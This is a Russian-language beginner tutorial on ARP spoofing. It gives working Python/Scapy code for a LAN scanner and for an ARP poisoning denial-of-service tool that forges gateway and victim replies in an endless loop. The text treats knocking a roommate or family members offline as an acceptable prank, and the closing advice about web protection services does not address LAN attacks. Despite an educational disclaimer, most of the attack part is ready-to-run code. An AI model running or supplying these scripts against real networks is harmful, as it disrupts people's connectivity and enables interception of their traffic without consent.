Самая простая сетевая атака для начинающих: ARP Spoofing
Протокол разрешения адресов (ARP) — это ключевой протокол, используемый в локальных сетях для сопоставления IP-адресов с физическими адресами (MAC-адресами).
Атака ARP — это злоупотребление уязвимостями протокола ARP. Отправляя поддельные ARP-сообщения, злоумышленники могут привязать свой MAC-адрес к IP-адресу жертвы, перехватывая, изменяя или прерывая сетевые коммуникации.
Причина, по которой ARP-атаки легко реализовать, связана с тем, что протоколу ARP не хватает встроенных функций безопасности, что делает его привлекательной целью для сетевых злоумышленников. Подделка ARP или «отравление» ARP стало распространенным и опасным методом сетевой атаки.
С помощью Python вы можете написать код менее чем за 100 строк, и результаты будут заметны — ваш сосед по комнате или члены семьи могут быстро потерять интернет-соединение.
Конечно, не стоит атаковать других людей без их ведома, за исключением, возможно, хороших друзей. Важно использовать знания о сетевых атаках для защиты от них, а не для причинения вреда.
Последствия атаки ARP Spoofing
- Отказ в обслуживании: Вы можете нарушить подключение к Wi-Fi вашего соседа по комнате или семьи, используя ARP-атаку. Введя целевой компьютер в «замок», сделав злоумышленника шлюзом, злоумышленник может прервать связь между целевым компьютером и шлюзом, не давая целевому устройству получить доступ к сетевым ресурсам.
- Сетевое обнюхивание: Злоумышленники могут использовать ARP-атаки для перехвата всех сетевых пакетов, что позволяет им анализировать и извлекать конфиденциальную информацию.
- Внедрение данных: С помощью атаки «человек посередине» злоумышленники могут изменять содержимое пакетов данных, искажая коммуникационные данные.
Примеры из реальной жизни:
- Корпоративные сети: Злоумышленники могут использовать ARP-подделку во внутренней сети компании, чтобы украсть учетные данные для входа сотрудников, содержимое электронной почты и другую конфиденциальную информацию.
- Общественный Wi-Fi: В местах общественного пользования, таких как кафе и аэропорты, злоумышленники могут использовать ARP-подделку, чтобы атаковать пользователей, подключенных к одной и той же сети Wi-Fi, крадя их личные данные.
- Домашние сети: Злоумышленники могут использовать ARP-подделку на устройствах домашней сети, чтобы украсть историю просмотров пользователей, информацию для входа в систему и многое другое.
Как работают ARP-атаки
1. Подделка ARP: Злоумышленники отправляют поддельные ARP-ответы другим устройствам в локальной сети, привязывая свой MAC-адрес к законному IP-адресу устройства. Например, злоумышленник может привязать свой MAC-адрес к IP-адресу шлюза, заставляя все устройства в локальной сети отправлять данные злоумышленнику.
2. Атака «Человек посередине»: После успешной подделки ARP злоумышленник может расположиться между жертвой и шлюзом, перехватывая и перенаправляя все коммуникационные данные. Это позволяет злоумышленнику украсть конфиденциальную информацию, например, учетные данные для входа и банковские данные.
3. Перехват данных: Злоумышленник может не только перехватывать данные, но и изменять их перед отправкой жертве или шлюзу, что позволяет ему выполнять дальнейшие атаки.
Реализация ARP-атаки с помощью Python:
Сначала нужно реализовать базовую функцию сканирования ARP. Внедрение сканирования ARP — это простой процесс. Можно определить две функции: generate_ip_range
, которая принимает строку IP-адреса и генерирует все хост-адреса в этой подсети, и arp_scan
, которая отправляет ARP-пакеты.
Можно использовать библиотеку Scapy для создания ARP-запросов и отправки их с помощью srp
, а затем ожидать ответов.
from scapy.all import *
import argparse
import threading, time
import logging
# Generate the IP range, e.g., input: 192.168.1.1/20 generates addresses 1-20
def Parse_IP(targets):
_split = targets.split('/')
first_ip = _split[0]
ip_split = first_ip.split('.')
ipv4 = range(int(ip_split[3]), int(_split[1]) + 1)
addr = [ip_split[0] + '.' + ip_split[1] + '.' + ip_split[2] + '.' + str(p) for p in ipv4]
return addr
# Scan the local network for online devices using the ARP protocol
def ARP_Scan(address):
try:
ret = sr1(ARP(pdst=address), timeout=5, verbose=False)
if ret:
if ret.haslayer('ARP') and ret.fields['op'] == 2:
print('[+] IP address: %-13s ==> MAC address: %-15s' % (ret.fields['psrc'], ret.fields['hwsrc']))
except Exception:
exit(1)
if __name__ == "__main__":
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
parser = argparse.ArgumentParser()
parser.add_argument("-s", "--scan", dest="scan")
args = parser.parse_args()
# Usage: main.py -s 192.168.1.1/100
if args.scan:
addr_list = Parse_IP(args.scan)
for item in addr_list:
threads = []
t = threading.Thread(target=ARP_Scan, args=(item,))
threads.append(t)
t.start()
for item in threads:
item.join()
else:
parser.print_help()
Далее мы рассмотрим, как реализовать ARP-атаку типа «отказ в обслуживании» (DOS).
Ключевым элементом ARP DOS-атаки является функция send_payload
. Каждый вызов этой функции отправляет два пакета:
- Первый пакет подделывается под шлюз, обманывая целевой компьютер и заставляя его думать, что злоумышленник является шлюзом.
- Второй пакет подделывается под целевой компьютер, обманывая шлюз и заставляя его думать, что злоумышленник является целевым компьютером.
Отправляя эти два пакета в нескольких потоках, злоумышленник может нарушить связь между целевым компьютером и сетью, что приводит к DOS-атаке.
"""
Disclaimer:
This code is intended for educational and experimental purposes only, to help users understand the ARP protocol and related network security concepts. Do not run this code on any actual network without explicit permission.
Unauthorized ARP attack activities are illegal and may result in network disruptions, data breaches, and other severe consequences. Users of this code must be responsible for their actions and comply with relevant laws and regulations.
The developers and publishers are not liable for any direct or indirect damages resulting from the use of this code. Please conduct experiments within the bounds of legal authority and ensure appropriate authorization.
Before running this code, please confirm that you have understood and accepted this disclaimer.
"""
from scapy.all import *
import argparse
import threading, time
import logging
# Create and send payloads
def SendPayload(Interface, srcMac, tgtMac, gateWayMac, gatewayIP, tgtIP):
print("[+] Target MAC: {} Target IP: {} Sending: 2 packets".format(tgtMac, tgtIP))
# Generate ARP packet, pretending to be the gateway to deceive the target computer
sendp(Ether(src=srcMac, dst=tgtMac) / ARP(hwsrc=srcMac, psrc=gatewayIP, hwdst=tgtMac, pdst=tgtIP, op=2), iface=Interface)
# Generate ARP packet, pretending to be the target computer to deceive the gateway
sendp(Ether(src=srcMac, dst=gateWayMac) / ARP(hwsrc=srcMac, psrc=tgtIP, hwdst=gateWayMac, pdst=gatewayIP, op=2), iface=Interface)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-i", "--interface", dest="interface", help="Enter the interface name")
parser.add_argument("-g", "--gateway", dest="gateway", help="Input Gateway Address")
parser.add_argument("-t", "--target", dest="target", help="Enter the victim host address")
args = parser.parse_args()
# Usage: main.py -i "Intel(R) Ethernet Connection (7) I219-LM" -g 192.168.9.1 -t 192.168.9.10
if args.gateway and args.target:
srcMac = get_if_hwaddr(args.interface) # Get the local MAC address through the interface name
tgtMac = getmacbyip(args.target) # Get the target computer's MAC address through its IP address
gatewayMac = getmacbyip(args.gateway) # Specify the gateway MAC address in the local network
while True:
t = threading.Thread(target=SendPayload, args=(args.interface, srcMac, tgtMac, gatewayMac, args.gateway, args.target))
t.start()
t.join()
time.sleep(1)
else:
parser.print_help()
Защита от повседневных сетевых атак
Как независимый разработчик, вы часто сталкиваетесь с задачей защиты своего сайта от различных атак, особенно от самых простых, но опасных.
Например, ARP-атаки очень легко реализовать, при этом код атаки занимает менее 100 строк. Однако ущерб, который они могут причинить, может быть значительным.
Защищаться от всех типов атак в деталях может быть сложно и требовать дополнительных ресурсов, которые могли бы быть потрачены на разработку.
Поэтому интеграция сторонних платформ стала популярным решением. Платформы, такие как Edgeone и Cloudflare, предлагают эффективные услуги по защите.
Хотя эти услуги могут стоить несколько долларов, они значительно снижают психическое бремя по сравнению с самозащитой.